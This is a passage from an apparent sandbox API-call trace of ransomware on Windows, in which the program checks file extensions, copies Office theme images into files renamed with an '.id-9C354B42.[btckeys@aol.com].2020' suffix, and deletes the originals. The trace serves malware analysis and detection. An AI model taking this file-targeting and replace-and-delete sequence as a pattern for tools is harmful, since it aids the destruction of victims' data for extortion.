Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0080.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0080.767] lstrlenW (lpString=".doc") returned 4 [0080.767] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.767] lstrlenW (lpString=".docx") returned 5 [0080.767] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.767] lstrlenW (lpString=".pdf") returned 4 [0080.767] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.767] lstrlenW (lpString=".xls") returned 4 [0080.767] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.767] lstrlenW (lpString=".xlsx") returned 5 [0080.767] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.767] lstrlenW (lpString=".ppt") returned 4 [0080.768] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0080.768] lstrlenW (lpString=".zip") returned 4 [0080.768] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.768] lstrlenW (lpString=".rar") returned 4 [0080.768] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.768] lstrlenW (lpString=".bz2") returned 4 [0080.768] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.768] lstrlenW (lpString=".7z") returned 3 [0080.768] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0080.768] lstrlenW (lpString=".dbf") returned 4 [0080.768] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0080.768] lstrlenW (lpString=".1cd") returned 4 [0080.768] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0080.768] lstrlenW (lpString=".jpg") returned 4 [0080.768] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0080.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0080.768] lstrlenW (lpString=".doc") returned 4 [0080.768] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0080.768] lstrlenW (lpString=".docx") returned 5 [0080.769] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0080.769] lstrlenW (lpString=".pdf") returned 4 [0080.769] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0080.769] lstrlenW (lpString=".xls") returned 4 [0080.769] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0080.769] lstrlenW (lpString=".xlsx") returned 5 [0080.769] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0080.769] lstrlenW (lpString=".ppt") returned 4 [0080.769] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0080.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0080.769] lstrlenW (lpString=".zip") returned 4 [0080.769] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0080.769] lstrlenW (lpString=".rar") returned 4 [0080.769] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0080.769] lstrlenW (lpString=".bz2") returned 4 [0080.769] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0080.769] lstrlenW (lpString=".7z") returned 3 [0080.769] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0080.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0080.769] lstrlenW (lpString=".dbf") returned 4 [0080.769] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0080.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0080.769] lstrlenW (lpString=".1cd") returned 4 [0080.769] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0080.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0080.769] lstrlenW (lpString=".jpg") returned 4 [0080.770] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0080.770] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0080.770] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0080.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0080.770] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=32433) returned 1 [0080.771] CloseHandle (hObject=0x198) returned 1 [0080.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 0x20 [0080.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0080.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0080.771] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0080.771] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0080.771] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0081.131] GetLastError () returned 0x0 [0081.131] ReadFile (in: hFile=0x198, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x7eb1, lpOverlapped=0x0) returned 1 [0081.134] WriteFile (in: hFile=0x168, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x7ec0, lpOverlapped=0x0) returned 1 [0081.136] ReadFile (in: hFile=0x198, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0081.136] WriteFile (in: hFile=0x168, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0081.136] SetEndOfFile (hFile=0x168) returned 1 [0081.136] CloseHandle (hObject=0x168) returned 1 [0081.137] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.137] SetEndOfFile (hFile=0x198) returned 1 [0081.138] CloseHandle (hObject=0x198) returned 1 [0081.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.139] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png")) returned 1 [0081.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0081.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0081.139] lstrlenW (lpString=".doc") returned 4 [0081.139] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.139] lstrlenW (lpString=".docx") returned 5 [0081.139] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.139] lstrlenW (lpString=".pdf") returned 4 [0081.139] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.139] lstrlenW (lpString=".xls") returned 4 [0081.139] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.139] lstrlenW (lpString=".xlsx") returned 5 [0081.139] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.139] lstrlenW (lpString=".ppt") returned 4 [0081.139] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.139] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0081.139] lstrlenW (lpString=".zip") returned 4 [0081.140] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.140] lstrlenW (lpString=".rar") returned 4 [0081.140] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.140] lstrlenW (lpString=".bz2") returned 4 [0081.140] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.140] lstrlenW (lpString=".7z") returned 3 [0081.140] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0081.140] lstrlenW (lpString=".dbf") returned 4 [0081.140] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0081.140] lstrlenW (lpString=".1cd") returned 4 [0081.140] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0081.140] lstrlenW (lpString=".jpg") returned 4 [0081.140] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0081.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0081.140] lstrlenW (lpString=".doc") returned 4 [0081.140] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.140] lstrlenW (lpString=".docx") returned 5 [0081.140] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.140] lstrlenW (lpString=".pdf") returned 4 [0081.140] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.141] lstrlenW (lpString=".xls") returned 4 [0081.141] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.141] lstrlenW (lpString=".xlsx") returned 5 [0081.141] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.141] lstrlenW (lpString=".ppt") returned 4 [0081.141] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0081.141] lstrlenW (lpString=".zip") returned 4 [0081.141] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.141] lstrlenW (lpString=".rar") returned 4 [0081.141] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.141] lstrlenW (lpString=".bz2") returned 4 [0081.141] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.141] lstrlenW (lpString=".7z") returned 3 [0081.141] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0081.141] lstrlenW (lpString=".dbf") returned 4 [0081.141] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0081.141] lstrlenW (lpString=".1cd") returned 4 [0081.141] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0081.141] lstrlenW (lpString=".jpg") returned 4 [0081.141] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.142] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0081.142] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0081.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.321] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=18817) returned 1 [0081.321] CloseHandle (hObject=0x1d8) returned 1 [0081.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 0x20 [0081.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.321] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.321] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0081.322] GetLastError () returned 0x0 [0081.322] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x4981, lpOverlapped=0x0) returned 1 [0081.324] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x4990, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x4990, lpOverlapped=0x0) returned 1 [0081.326] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0081.326] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0081.326] SetEndOfFile (hFile=0x1e0) returned 1 [0081.326] CloseHandle (hObject=0x1e0) returned 1 [0081.327] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.327] SetEndOfFile (hFile=0x1d8) returned 1 [0081.328] CloseHandle (hObject=0x1d8) returned 1 [0081.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.328] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\thmbnail.png")) returned 1 [0081.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0081.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0081.329] lstrlenW (lpString=".doc") returned 4 [0081.329] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.329] lstrlenW (lpString=".docx") returned 5 [0081.329] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.329] lstrlenW (lpString=".pdf") returned 4 [0081.329] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.329] lstrlenW (lpString=".xls") returned 4 [0081.329] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.329] lstrlenW (lpString=".xlsx") returned 5 [0081.329] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.329] lstrlenW (lpString=".ppt") returned 4 [0081.329] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.329] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0081.329] lstrlenW (lpString=".zip") returned 4 [0081.329] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.329] lstrlenW (lpString=".rar") returned 4 [0081.329] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.329] lstrlenW (lpString=".bz2") returned 4 [0081.329] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.329] lstrlenW (lpString=".7z") returned 3 [0081.330] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0081.330] lstrlenW (lpString=".dbf") returned 4 [0081.330] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0081.330] lstrlenW (lpString=".1cd") returned 4 [0081.330] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0081.330] lstrlenW (lpString=".jpg") returned 4 [0081.330] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0081.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0081.330] lstrlenW (lpString=".doc") returned 4 [0081.330] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.330] lstrlenW (lpString=".docx") returned 5 [0081.330] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.330] lstrlenW (lpString=".pdf") returned 4 [0081.330] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.330] lstrlenW (lpString=".xls") returned 4 [0081.330] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.330] lstrlenW (lpString=".xlsx") returned 5 [0081.330] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.330] lstrlenW (lpString=".ppt") returned 4 [0081.330] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0081.331] lstrlenW (lpString=".zip") returned 4 [0081.331] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.331] lstrlenW (lpString=".rar") returned 4 [0081.331] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.331] lstrlenW (lpString=".bz2") returned 4 [0081.331] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.331] lstrlenW (lpString=".7z") returned 3 [0081.331] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0081.331] lstrlenW (lpString=".dbf") returned 4 [0081.331] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0081.331] lstrlenW (lpString=".1cd") returned 4 [0081.331] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\THMBNAIL.PNG") returned 72 [0081.331] lstrlenW (lpString=".jpg") returned 4 [0081.331] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.331] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0081.331] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0081.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.332] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1232) returned 1 [0081.332] CloseHandle (hObject=0x1d8) returned 1 [0081.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 0x20 [0081.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0081.333] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.333] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0081.336] GetLastError () returned 0x0 [0081.336] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x4d0, lpOverlapped=0x0) returned 1 [0081.338] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x4e0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x4e0, lpOverlapped=0x0) returned 1 [0081.339] ReadFile (in: hFile=0x1d8, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0081.339] WriteFile (in: hFile=0x20c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0081.339] SetEndOfFile (hFile=0x20c) returned 1 [0081.339] CloseHandle (hObject=0x20c) returned 1 [0081.340] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0081.340] SetEndOfFile (hFile=0x1d8) returned 1 [0081.341] CloseHandle (hObject=0x1d8) returned 1 [0081.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.341] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) 